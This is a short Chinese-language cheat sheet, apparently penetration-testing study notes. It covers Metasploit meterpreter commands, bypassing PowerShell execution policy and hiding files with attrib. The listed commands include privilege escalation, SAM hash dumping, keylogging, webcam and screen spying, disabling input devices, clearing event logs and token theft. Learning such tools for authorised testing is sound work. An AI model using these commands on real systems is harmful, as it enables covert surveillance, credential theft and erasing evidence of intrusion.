MSF--meterpreter

碰到powershell无法执行脚本的情况:

执行脚本权限(策略)

  • Restricted 受限制

  • allsigned 已分配

  • Unrestricted 不受限制

  • remotesigned 远程分配

  • 查看执行策略

    • Get-ExecutionPolicy
  • 修改执行策略(需要管理员)

    • Set-ExecutionPolicy unrestricted

    绕过执行策略:powershell -exec bypass -c comannd

    创建文件:copy con filename

    con:进入到编辑模式

    修改属性:attrib

    使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。attrib +s +a +h +r D:\test\project\test .txt。这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。

    创建文件:fsutil file createnew filename size

meterpreter

两种session:

​ Command shell session –> 就是cmd

​ meterpreter session –> 返回meterpreter

指令:

​ jobs 查看工作

​ jobs -k id 杀死只当的工作,-k kill

​ jobs -K 杀死所有的工作

​ session 查看连接到的会话

​ session -k id 杀死指定的session

​ session -K 杀死所有的session

​ run -j 放到后台监听

​ run -z 连接到了不会立马进入到交互模式

meterpreter:

​ getuid 查看当前用户

​ sysinfo 查看当前系统的基本信息

​ getpid 获取当前木马的pid

​ getsid 获取sid

​ getsystem 获取管理员权限(初步提权,成功说明提权成功)

​ bg | background 返回控制台

​ exit 退出当前session(关闭)

会话迁移: payload注入到新的进程当中,确保连接的稳定性

migrate pid 会话迁移

hashdump 下载sam文件中的账号密码信息

play 播放.wav的文件

Webcam Commands:

webcam_stream 查看摄像头(相当于监控)

webcam_list 列出有多少个摄像头

webcam_snap 对摄像头做截屏

User interface Commands:

keyscan_dump 下载键盘记录

keyscan_start 开启键盘监听

keyscan_stop 停止键盘监听

screenshare 看对方的电脑桌面(实时的,有延迟),以html文件的方式

run vnc 看对方的电脑桌面(实时的,有延迟),以弹框的方式

screenshot 屏幕截图

uictl [enable/disable] [keyboard/mouse/all] 对键盘鼠标进行控制(禁用或者开启)

clearev 清除痕迹(系统日志,安全日志,应用日志)(前提有特权,才能清除的干净)

steal_token 身份盗用

rev2self 返还身份

shutdown 关机

shell 进入到cmd或者进入到bash

kill pid 杀死进程

execute -i -H -f cmd 执行指令

upload local_file remote_path 上传文件

download remote_file local_path\save_filename 下载文件

show_mount 磁盘信息

Core Commands:

background | bg 返回控制台

get_timeouts 获取session超时时间

linux:.elf,.sh

linux执行文件:

./ —> 有可执行的权限,chmod u+x file —> ./file

bash file

windows:bat,exe,hta